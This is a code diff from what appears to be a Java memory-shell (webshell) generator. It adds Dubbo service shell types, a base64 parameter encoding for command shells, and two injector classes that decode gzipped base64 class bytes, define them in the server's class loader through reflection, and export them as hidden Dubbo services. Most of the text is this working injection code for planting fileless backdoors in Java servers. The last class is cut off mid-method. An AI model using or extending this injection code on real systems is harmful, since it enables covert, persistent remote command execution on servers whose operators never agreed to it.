.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
.addShellClass(ACTION, NeoreGeorgStruct2Action.class) .addShellClass(ACTION, NeoreGeorgStruts2Action.class)
.build()); .build());
addToolMapping(ShellTool.Proxy, ToolMapping.builder() addToolMapping(ShellTool.Proxy, ToolMapping.builder()
@@ -50,4 +50,8 @@ public class ShellType {
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET; public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
public static final String ACTION = "Action"; public static final String ACTION = "Action";
public static final String DUBBO_SERVICE = "DubboService";
public static final String APACHE_DUBBO_SERVICE = "Apache" + DUBBO_SERVICE;
public static final String ALIBABA_DUBBO_SERVICE = "Alibaba" + DUBBO_SERVICE;
} }
@@ -91,12 +91,15 @@ public class CommandConfig extends ShellToolConfig {
} }
public enum Encryptor { public enum Encryptor {
RAW, DOUBLE_BASE64; RAW, BASE64, DOUBLE_BASE64;
public static Encryptor fromString(String encryptor) { public static Encryptor fromString(String encryptor) {
if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) { if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
return DOUBLE_BASE64; return DOUBLE_BASE64;
} }
if (encryptor != null && encryptor.equals("BASE64")) {
return BASE64;
}
return RAW; return RAW;
} }
} }
@@ -27,6 +27,12 @@ public class InjectorConfig {
@Builder.Default @Builder.Default
private String injectorClassName = CommonUtil.generateInjectorClassName(); private String injectorClassName = CommonUtil.generateInjectorClassName();
/**
* 辅助类类名
*/
private String injectorHelperClassName;
/** /**
* 注入访问的地址 * 注入访问的地址
*/ */
@@ -0,0 +1,19 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.shelltool.ShellDubboService;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
public class DubboServiceInterfaceHelperGenerator {
public static byte[] getBytes(String interfaceName, ShellConfig shellConfig) {
try (DynamicType.Unloaded<ShellDubboService> make = new ByteBuddy()
.redefine(ShellDubboService.class)
.name(interfaceName)
.make()) {
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
}
}
@@ -7,7 +7,6 @@ import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve; import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
import com.reajason.javaweb.utils.CommonUtil;
import net.bytebuddy.ByteBuddy; import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.lang3.tuple.Pair; import org.apache.commons.lang3.tuple.Pair;
@@ -19,7 +18,7 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
* @since 2026/1/13 * @since 2026/1/13
*/ */
public class WebSocketByPassHelperGenerator { public class WebSocketByPassHelperGenerator {
public static byte[] getBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) { public static byte[] getBytes(String helperClassName, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
Pair<String, String> headerPair = getHeaderPair(shellToolConfig); Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
if (headerPair == null) { if (headerPair == null) {
throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool()); throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
@@ -31,7 +30,7 @@ public class WebSocketByPassHelperGenerator {
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())) .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
.field(named("headerName")).value(headerPair.getKey()) .field(named("headerName")).value(headerPair.getKey())
.field(named("headerValue")).value(headerPair.getValue()) .field(named("headerValue")).value(headerPair.getValue())
.name(CommonUtil.generateClassName()); .name(helperClassName);
if (shellConfig.isJakarta()) { if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
} }
@@ -0,0 +1,16 @@
package com.reajason.javaweb.memshell.generator.command;
import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
/**
* @author ReaJason
* @since 2025/4/27
*/
public class Base64ParamInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) throws Exception {
returnValue = ShellCommonUtil.base64DecodeToString(param);
}
}
@@ -42,6 +42,17 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString"))) .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam"))); .visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
} }
if (CommandConfig.Encryptor.BASE64.equals(shellToolConfig.getEncryptor())) {
builder = builder
.visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
shellToolConfig.getShellClassName(), ShellCommonUtil.class.getName()))
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(String.class)
.throwing(Exception.class)
.intercept(FixedValue.nullValue())
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
.visit(Advice.to(Base64ParamInterceptor.class).on(named("getParam")));
}
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) { if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
builder = builder.visit(Advice.withCustomMapping() builder = builder.visit(Advice.withCustomMapping()
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate()) .bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
@@ -0,0 +1,451 @@
package com.reajason.javaweb.memshell.injector.dubbo;
import com.alibaba.dubbo.common.URL;
import com.alibaba.dubbo.common.bytecode.ClassGenerator;
import com.alibaba.dubbo.common.utils.ClassHelper;
import com.alibaba.dubbo.config.*;
import com.alibaba.dubbo.config.model.ApplicationModel;
import com.alibaba.dubbo.config.model.ProviderModel;
import javassist.ClassPool;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.PrintWriter;
import java.io.StringWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.security.ProtectionDomain;
import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
import java.util.zip.GZIPInputStream;
public class AlibabaDubboServiceInjector {
private final Map<String, ServiceConfig<?>> dynamicServices = new ConcurrentHashMap<>();
private static final String DISPLAY_HOST = "x.x.x.x";
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public String getHelperBase64String() {
return "{{helperBase64String}}";
}
public AlibabaDubboServiceInjector() {
if (ok) {
return;
}
try {
msg += registerService();
} catch (Throwable e) {
msg += "unexcepted error: " + stackTrace(e);
}
ok = true;
System.out.println(msg);
}
public String registerService() throws Exception {
String servicePath = normalizePath(getUrlPattern());
if (servicePath.isEmpty()) {
throw new IllegalArgumentException("path must not be empty");
}
if (dynamicServices.containsKey(servicePath) || findRegisteredService(servicePath) != null) {
return resolveServiceAddresses(servicePath);
}
Class<?> serviceInterface = loadClass(getHelperBase64String());
Class<?> serviceImpl = loadClass(getBase64String());
validateServiceTypes(serviceInterface, serviceImpl);
ServiceConfig<?> serviceConfig = createServiceConfig(servicePath, serviceInterface, instantiate(serviceImpl));
if (dynamicServices.putIfAbsent(servicePath, serviceConfig) != null) {
return resolveServiceAddresses(servicePath);
}
try {
serviceConfig.export();
return resolveServiceAddresses(servicePath);
} catch (RuntimeException e) {
dynamicServices.remove(servicePath, serviceConfig);
throw e;
}
}
private Class<?> loadClass(String payload) throws Exception {
ClassLoader classLoader = ClassHelper.getClassLoader(ClassGenerator.class);
byte[] classBytes = gzipDecompress(decodeBase64(payload));
definePackageIfNeeded(classLoader, getClassName());
Class<?> loadedClass = defineClass(classLoader, classBytes);
registerInJavassistClassPool(classLoader, classBytes);
return loadedClass;
}
private Class<?> defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception {
ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class,
byte[].class,
int.class,
int.class,
ProtectionDomain.class
);
defineClass.setAccessible(true);
return (Class<?>) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain);
}
private void definePackageIfNeeded(ClassLoader classLoader, String className) {
int packageEnd = className.lastIndexOf('.');
if (packageEnd < 0) {
return;
}
String packageName = className.substring(0, packageEnd);
try {
Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class);
getPackage.setAccessible(true);
if (getPackage.invoke(classLoader, packageName) != null) {
return;
}
Method definePackage = ClassLoader.class.getDeclaredMethod(
"definePackage",
String.class,
String.class,
String.class,
String.class,
String.class,
String.class,
String.class,
java.net.URL.class
);
definePackage.setAccessible(true);
definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null);
} catch (Exception ignored) {
// Defining the package is a convenience for older class loaders. The class can still load without it.
}
}
private void registerInJavassistClassPool(ClassLoader classLoader, byte[] classBytes) {
try {
ClassPool classPool = ClassGenerator.getClassPool(classLoader);
classPool.makeClass(new ByteArrayInputStream(classBytes));
} catch (Throwable ignored) {
// Dubbo's proxy generator can still resolve already-defined classes if Javassist registration fails.
}
}
private static byte[] decodeBase64(String value) throws Exception {
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, value);
}
private static byte[] gzipDecompress(byte[] bytes) throws Exception {
GZIPInputStream inputStream = null;
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
try {
inputStream = new GZIPInputStream(new ByteArrayInputStream(bytes));
byte[] buffer = new byte[4096];
int read;
while ((read = inputStream.read(buffer)) > 0) {
outputStream.write(buffer, 0, read);
}
return outputStream.toByteArray();
} finally {
if (inputStream != null) {
inputStream.close();
}
outputStream.close();
}
}
private void validateServiceTypes(Class<?> serviceInterface, Class<?> serviceImpl) {
if (!serviceInterface.isInterface()) {
throw new IllegalArgumentException("not an interface: " + serviceInterface.getName());
}
if (serviceImpl.isInterface() || Modifier.isAbstract(serviceImpl.getModifiers())) {
throw new IllegalArgumentException("implementation class is not instantiable: " + serviceImpl.getName());
}
if (!serviceInterface.isAssignableFrom(serviceImpl)) {
throw new IllegalArgumentException(serviceImpl.getName() + " does not implement " + serviceInterface.getName());
}
}
private Object instantiate(Class<?> serviceImpl) {
try {
Constructor<?> constructor = serviceImpl.getDeclaredConstructor();
constructor.setAccessible(true);
return constructor.newInstance();
} catch (Exception e) {
throw new IllegalArgumentException("failed to instantiate " + serviceImpl.getName(), e);
}
}
private ServiceConfig<Object> createServiceConfig(String servicePath, Class<?> serviceInterface, Object serviceImpl) {
ServiceConfig<Object> serviceConfig = new ServiceConfig<Object>();
serviceConfig.setInterface(serviceInterface);
serviceConfig.setRef(serviceImpl);
serviceConfig.setPath(servicePath);
ProviderConfig providerConfig = findProviderConfig();
if (providerConfig != null) {
serviceConfig.setProvider(providerConfig);
if (notEmpty(providerConfig.getVersion())) {
serviceConfig.setVersion(providerConfig.getVersion());
}
}
ApplicationConfig applicationConfig = findApplicationConfig(providerConfig);
if (applicationConfig != null) {
serviceConfig.setApplication(applicationConfig);
}
List<ProtocolConfig> protocolConfigs = findProtocolConfigs(providerConfig);
if (!protocolConfigs.isEmpty()) {
serviceConfig.setProtocols(protocolConfigs);
}
List<RegistryConfig> registryConfigs = findRegistryConfigs(providerConfig, applicationConfig);
if (!registryConfigs.isEmpty()) {
serviceConfig.setRegistries(registryConfigs);
}
return serviceConfig;
}
private ServiceConfig<?> findRegisteredService(String servicePath) {
String normalizedPath = normalizePath(servicePath);
for (ProviderModel providerModel : providerModels()) {
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig != null && normalizedPath.equals(normalizePath(serviceConfig.getPath()))) {
return serviceConfig;
}
}
return null;
}
private ProviderConfig findProviderConfig() {
for (ProviderModel providerModel : providerModels()) {
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig != null && serviceConfig.getProvider() != null) {
return serviceConfig.getProvider();
}
}
return null;
}
private ApplicationConfig findApplicationConfig(ProviderConfig providerConfig) {
if (providerConfig != null && providerConfig.getApplication() != null) {
return providerConfig.getApplication();
}
for (ProviderModel providerModel : providerModels()) {
com.alibaba.dubbo.config.ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig == null) {
continue;
}
if (serviceConfig.getApplication() != null) {
return serviceConfig.getApplication();
}
if (serviceConfig.getProvider() != null && serviceConfig.getProvider().getApplication() != null) {
return serviceConfig.getProvider().getApplication();
}
}
return null;
}
private List<ProtocolConfig> findProtocolConfigs(ProviderConfig providerConfig) {
List<ProtocolConfig> protocols = new ArrayList<ProtocolConfig>();
addProtocols(protocols, providerConfig == null ? null : providerConfig.getProtocols());
for (ProviderModel providerModel : providerModels()) {
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig == null) {
continue;
}
addProtocols(protocols, serviceConfig.getProtocols());
addProtocols(protocols, serviceConfig.getProvider() == null ? null : serviceConfig.getProvider().getProtocols());
}
return uniqueProtocols(protocols);
}
private List<RegistryConfig> findRegistryConfigs(ProviderConfig providerConfig, ApplicationConfig applicationConfig) {
List<RegistryConfig> registries = registries(providerConfig == null ? null : providerConfig.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
registries = registries(applicationConfig == null ? null : applicationConfig.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
for (ProviderModel providerModel : providerModels()) {
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig == null) {
continue;
}
registries = registries(serviceConfig.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
ProviderConfig serviceProvider = serviceConfig.getProvider();
registries = registries(serviceProvider == null ? null : serviceProvider.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
ApplicationConfig serviceApplication = serviceConfig.getApplication();
registries = registries(serviceApplication == null ? null : serviceApplication.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
}
return new ArrayList<RegistryConfig>();
}
private String resolveServiceAddresses(String servicePath) {
String normalizedPath = normalizePath(servicePath);
ServiceConfig<?> serviceConfig = dynamicServices.get(normalizedPath);
if (serviceConfig == null) {
serviceConfig = findRegisteredService(normalizedPath);
}
if (serviceConfig == null) {
return normalizedPath;
}
List<URL> exportedUrls = serviceConfig.getExportedUrls();
if (exportedUrls != null && !exportedUrls.isEmpty()) {
return formatUrls(exportedUrls);
}
List<ProtocolConfig> protocols = uniqueProtocols(serviceConfig.getProtocols());
if (protocols.isEmpty() && serviceConfig.getProvider() != null) {
protocols = uniqueProtocols(serviceConfig.getProvider().getProtocols());
}
if (protocols.isEmpty()) {
return normalizedPath;
}
return formatProtocolAddresses(protocols, normalizedPath);
}
private String formatUrls(List<URL> urls) {
StringBuilder builder = new StringBuilder();
for (URL url : urls) {
if (builder.length() > 0) {
builder.append(", ");
}
builder.append(formatUrl(url));
}
return builder.toString();
}
private String formatProtocolAddresses(List<ProtocolConfig> protocols, String path) {
StringBuilder builder = new StringBuilder();
for (ProtocolConfig protocol : protocols) {
if (builder.length() > 0) {
builder.append(", ");
}
builder.append(formatProtocolAddress(protocol, path));
}
return builder.toString();
}
private String formatUrl(URL url) {
String path = normalizePath(url.getPath());
int port = url.getPort();
return port > 0
? String.format("%s://%s:%d/%s", url.getProtocol(), DISPLAY_HOST, port, path)
: String.format("%s://%s/%s", url.getProtocol(), DISPLAY_HOST, path);
}
private String formatProtocolAddress(ProtocolConfig protocol, String path) {
String protocolName = notEmpty(protocol.getName()) ? protocol.getName() : "dubbo";
Integer port = protocol.getPort();
return port != null && port > 0
? String.format("%s://%s:%d/%s", protocolName, DISPLAY_HOST, port, path)
: String.format("%s://%s/%s", protocolName, DISPLAY_HOST, path);
}
private List<ProviderModel> providerModels() {
try {
return ApplicationModel.allProviderModels();
} catch (Throwable ignored) {
return new ArrayList<ProviderModel>();
}
}
private void addProtocols(List<ProtocolConfig> target, List<ProtocolConfig> source) {
if (source != null) {
target.addAll(source);
}
}
private List<ProtocolConfig> uniqueProtocols(List<ProtocolConfig> protocols) {
Map<String, ProtocolConfig> unique = new LinkedHashMap<String, ProtocolConfig>();
if (protocols != null) {
for (ProtocolConfig protocol : protocols) {
if (protocol != null) {
unique.put(protocolKey(protocol), protocol);
}
}
}
return new ArrayList<ProtocolConfig>(unique.values());
}
private List<RegistryConfig> registries(List<RegistryConfig> registries) {
return registries == null ? new ArrayList<RegistryConfig>() : new ArrayList<RegistryConfig>(registries);
}
private String protocolKey(ProtocolConfig protocol) {
return String.valueOf(protocol.getName())
+ "|"
+ String.valueOf(protocol.getHost())
+ "|"
+ String.valueOf(protocol.getPort())
+ "|"
+ String.valueOf(protocol.getServer())
+ "|"
+ String.valueOf(protocol.getId());
}
private String normalizePath(String path) {
if (path == null) {
return "";
}
String normalized = path.trim();
while (normalized.startsWith("/")) {
normalized = normalized.substring(1);
}
return normalized;
}
private boolean notEmpty(String value) {
return value != null && !value.isEmpty();
}
private String stackTrace(Throwable throwable) {
StringWriter writer = new StringWriter();
throwable.printStackTrace(new PrintWriter(writer));
return writer.toString();
}
}
@@ -0,0 +1,616 @@
package com.reajason.javaweb.memshell.injector.dubbo;
import javassist.ClassPool;
import org.apache.dubbo.common.bytecode.ClassGenerator;
import org.apache.dubbo.config.*;
import org.apache.dubbo.rpc.model.ApplicationModel;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.security.ProtectionDomain;
import java.util.*;
import java.util.concurrent.ConcurrentHashMap;
import java.util.stream.Collectors;
import java.util.zip.GZIPInputStream;
public class ApacheDubboServiceInjector {
private final Map<String, ServiceConfig<?>> DYNAMIC_SERVICES = new ConcurrentHashMap<>();
private static final String DISPLAY_HOST = "x.x.x.x";
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public String getHelperBase64String() {
return "{{helperBase64String}}";
}
public ApacheDubboServiceInjector() {
if (ok) {
return;
}
try {
msg += registerService();
} catch (Throwable e) {
msg += "unexcepted error: " + getErrorMessage(e);
}
ok = true;
System.out.println(msg);
}
private Class<?> loadClass(String payload) throws Exception {
ClassLoader classLoader = resolveDubboClassLoader();
byte[] classBytes = gzipDecompress(decodeBase64(payload));
definePackageIfNeeded(classLoader, getClassName());
Class<?> loadedClass = defineClass(classLoader, classBytes);
registerInJavassistClassPool(classLoader, loadedClass.getName(), classBytes);
msg += "[" + classLoader.getClass().getName() + "] ";
return loadedClass;
}
private ClassLoader resolveDubboClassLoader() {
ClassLoader classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassHelper");
if (classLoader != null) {
return classLoader;
}
classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassUtils");
if (classLoader != null) {
return classLoader;
}
classLoader = ClassGenerator.class.getClassLoader();
return classLoader != null ? classLoader : Thread.currentThread().getContextClassLoader();
}
private ClassLoader invokeDubboClassLoader(String className) {
try {
Class<?> helperClass = Class.forName(className);
return (ClassLoader) helperClass.getMethod("getClassLoader", Class.class).invoke(null, ClassGenerator.class);
} catch (Throwable ignored) {
return null;
}
}
private Class<?> defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception {
ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class,
byte[].class,
int.class,
int.class,
ProtectionDomain.class
);
defineClass.setAccessible(true);
return (Class<?>) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain);
}
private void definePackageIfNeeded(ClassLoader classLoader, String className) {
int packageEnd = className.lastIndexOf('.');
if (packageEnd < 0) {
return;
}
String packageName = className.substring(0, packageEnd);
try {
Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class);
getPackage.setAccessible(true);
if (getPackage.invoke(classLoader, packageName) != null) {
return;
}
Method definePackage = ClassLoader.class.getDeclaredMethod(
"definePackage",
String.class,
String.class,
String.class,
String.class,
String.class,
String.class,
String.class,
java.net.URL.class
);
definePackage.setAccessible(true);
definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null);
} catch (Exception ignored) {
}
}
public String toString() {
return msg;
}
private void registerInJavassistClassPool(ClassLoader classLoader, String className, byte[] classBytes) {
try {
ClassPool classPool = ClassGenerator.getClassPool(classLoader);
try {
classPool.getClass().getMethod("makeClassIfNew", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes));
} catch (NoSuchMethodException e) {
classPool.getClass().getMethod("makeClass", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes));
}
} catch (Throwable ignored) {
}
insertByteArrayClassPath(className, classLoader, classBytes);
}
private void insertByteArrayClassPath(String className, ClassLoader classLoader, byte[] classBytes) {
try {
Class<?> classPoolClass = Class.forName("javassist.ClassPool");
Class<?> classPathClass = Class.forName("javassist.ClassPath");
Class<?> byteArrayClassPathClass = Class.forName("javassist.ByteArrayClassPath");
insertClassPath(classPoolClass.getMethod("getDefault").invoke(null), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes);
insertClassPath(ClassGenerator.getClassPool(classLoader), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes);
} catch (Throwable ignored) {
}
}
private void insertClassPath(Object classPool, Class<?> classPoolClass, Class<?> classPathClass, Class<?> byteArrayClassPathClass, String className, byte[] classBytes) throws Exception {
if (classPoolClass.getMethod("find", String.class).invoke(classPool, className) == null) {
classPoolClass.getMethod("insertClassPath", classPathClass).invoke(classPool, byteArrayClassPathClass.getConstructor(String.class, byte[].class).newInstance(className, classBytes));
}
}
public static byte[] decodeBase64(String str) throws Exception {
return Base64.getDecoder().decode(str);
}
public static byte[] gzipDecompress(byte[] bArr) throws IOException {
try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
GZIPInputStream gZIPInputStream = new GZIPInputStream(new ByteArrayInputStream(bArr))) {
byte[] bArr2 = new byte[4096];
int i;
while ((i = gZIPInputStream.read(bArr2)) > 0) {
byteArrayOutputStream.write(bArr2, 0, i);
}
return byteArrayOutputStream.toByteArray();
}
}
public String registerService() throws Exception {
String strNormalizePath = normalizePath(getUrlPattern());
if (strNormalizePath.isEmpty()) {
throw new IllegalArgumentException("path must not be empty");
}
if (!DYNAMIC_SERVICES.containsKey(strNormalizePath) && !isPathRegisteredInFramework(strNormalizePath)) {
Class<?> shell = loadClass(getHelperBase64String());
Class<?> shell2 = loadClass(getBase64String());
validateServiceTypes(shell, shell2);
ServiceConfig<?> serviceConfigCreateServiceConfig = createServiceConfig(strNormalizePath, shell, instantiate(shell2));
if (DYNAMIC_SERVICES.putIfAbsent(strNormalizePath, serviceConfigCreateServiceConfig) != null) {
return resolveServiceAddresses(strNormalizePath);
}
try {
serviceConfigCreateServiceConfig.export();
return resolveServiceAddresses(strNormalizePath);
} catch (RuntimeException e) {
DYNAMIC_SERVICES.remove(strNormalizePath, serviceConfigCreateServiceConfig);
throw e;
}
}
return resolveServiceAddresses(strNormalizePath);
}
private boolean isPathRegisteredInFramework(String str) {
try {
for (Object obj : getRegisteredServices()) {
if (str.equals(obj.getClass().getMethod("getPath").invoke(obj))) {
return true;
}
}
return false;
} catch (Exception e) {
return false;
}
}
private Collection<?> getRegisteredServices() {
try {
Object configManager = resolveConfigManager();
return toList(invokeNoArgs(configManager, "getServices"));
} catch (Exception e) {
try {
Object objInvoke = ApplicationModel.class.getMethod("defaultModel").invoke(null);
Object objInvoke2 = objInvoke.getClass().getMethod("getDefaultModule").invoke(objInvoke);
Object objInvoke3 = objInvoke2.getClass().getMethod("getConfigManager").invoke(objInvoke2);
return toList(invokeNoArgs(objInvoke3, "getServices"));
} catch (Exception e2) {
return new ArrayList<>();
}
}
}
private String normalizePath(String str) {
if (str == null) {
return "";
}
String strTrim = str.trim();
while (true) {
String str2 = strTrim;
if (!str2.startsWith("/")) {
return str2;
}
strTrim = str2.substring(1);
}
}
private void validateServiceTypes(Class<?> cls, Class<?> cls2) {
if (!cls.isInterface()) {
throw new IllegalArgumentException("not an interface: " + cls.getName());
}
if (cls2.isInterface() || Modifier.isAbstract(cls2.getModifiers())) {
throw new IllegalArgumentException("implementation class is not instantiable: " + cls2.getName());
}
if (!cls.isAssignableFrom(cls2)) {
throw new IllegalArgumentException(cls2.getName() + " does not implement " + cls.getName());
}
}
private Object instantiate(Class<?> cls) {
try {
Constructor<?> declaredConstructor = cls.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
return declaredConstructor.newInstance();
} catch (Exception e) {
throw new IllegalArgumentException("failed to instantiate " + cls.getName(), e);
}
}
private ServiceConfig<Object> createServiceConfig(String str, Class<?> cls, Object obj) {
Object configManager = resolveConfigManager();
ProviderConfig providerConfigResolveDefaultProvider = resolveDefaultProvider(configManager);
ProviderConfig providerConfigSanitizeProviderConfig = sanitizeProviderConfig(providerConfigResolveDefaultProvider);
ServiceConfig<Object> serviceConfig = new ServiceConfig<>();
serviceConfig.setInterface(cls);
serviceConfig.setRef(obj);
serviceConfig.setPath(str);
serviceConfig.setProxy("jdk");
if (providerConfigSanitizeProviderConfig != null) {
serviceConfig.setProvider(providerConfigSanitizeProviderConfig);
}
ApplicationConfig applicationConfig = castApplicationConfig(extractOptionalValue(invokeNoArgs(configManager, "getApplication")));
if (applicationConfig != null) {
serviceConfig.setApplication(applicationConfig);
}
String strResolveConfiguredVersion = resolveConfiguredVersion(providerConfigResolveDefaultProvider);
if (strResolveConfiguredVersion != null) {
serviceConfig.setVersion(strResolveConfiguredVersion);
}
serviceConfig.setProtocols(resolveConfiguredProtocols(providerConfigResolveDefaultProvider, configManager));
serviceConfig.setRegistries(resolveRegistriesForExport(castRegistries(toList(invokeNoArgs(configManager, "getDefaultRegistries"))), castRegistries(toList(invokeNoArgs(configManager, "getRegistries")))));
return serviceConfig;
}
private ProviderConfig resolveDefaultProvider(Object obj) {
ProviderConfig providerConfigCastProviderConfig = castProviderConfig(extractOptionalValue(invokeNoArgs(obj, "getDefaultProvider")));
if (providerConfigCastProviderConfig != null) {
return providerConfigCastProviderConfig;
}
Object objInvokeNoArgs = invokeNoArgs(obj, "getDefaultModule");
if (objInvokeNoArgs == null) {
objInvokeNoArgs = invokeNoArgs(invokeStaticNoArgs(ApplicationModel.class, "defaultModel"), "getDefaultModule");
}
Object objInvokeNoArgs2 = invokeNoArgs(objInvokeNoArgs, "getConfigManager");
ProviderConfig providerConfigCastProviderConfig2 = castProviderConfig(extractOptionalValue(invokeNoArgs(objInvokeNoArgs2, "getDefaultProvider")));
return providerConfigCastProviderConfig2 != null ? providerConfigCastProviderConfig2 : castProviderConfig(firstElement(toList(invokeNoArgs(objInvokeNoArgs2, "getProviders"))));
}
private ProviderConfig sanitizeProviderConfig(ProviderConfig providerConfig) {
if (providerConfig == null) {
return null;
}
List registries = providerConfig.getRegistries();
if (registries == null || filterValidRegistries(registries).size() == registries.size()) {
return providerConfig;
}
return null;
}
private List<RegistryConfig> filterValidRegistries(Collection<RegistryConfig> collection) {
if (collection == null) {
return new ArrayList<>();
}
return collection.stream()
.filter(registryConfig -> registryConfig != null && registryConfig.isValid())
.collect(Collectors.toList());
}
private List<RegistryConfig> resolveRegistriesForExport(Collection<RegistryConfig> collection, Collection<RegistryConfig> collection2) {
List<RegistryConfig> listFilterValidRegistries = filterValidRegistries(collection);
if (!listFilterValidRegistries.isEmpty()) {
return listFilterValidRegistries;
}
List<RegistryConfig> listFilterValidRegistries2 = filterValidRegistries(collection2);
return !listFilterValidRegistries2.isEmpty() ? listFilterValidRegistries2 : Collections.singletonList(new RegistryConfig("N/A"));
}
private String resolveConfiguredVersion(Object obj) {
return stringValue(invokeNoArgs(obj, "getVersion"), null);
}
private List<ProtocolConfig> resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager) {
return resolveConfiguredProtocols(providerConfig, configManager, getRegisteredServices());
}
private List<ProtocolConfig> resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager, Collection<?> collection) {
return mergeProtocols(mergeProtocols(mergeProtocols(providerConfig == null ? null : providerConfig.getProtocols(), castProtocols(toList(invokeNoArgs(configManager, "getDefaultProtocols")))), castProtocols(toList(invokeNoArgs(configManager, "getProtocols")))), collectProtocolsFromServices(collection));
}
private List<ProtocolConfig> collectProtocolsFromServices(Collection<?> collection) {
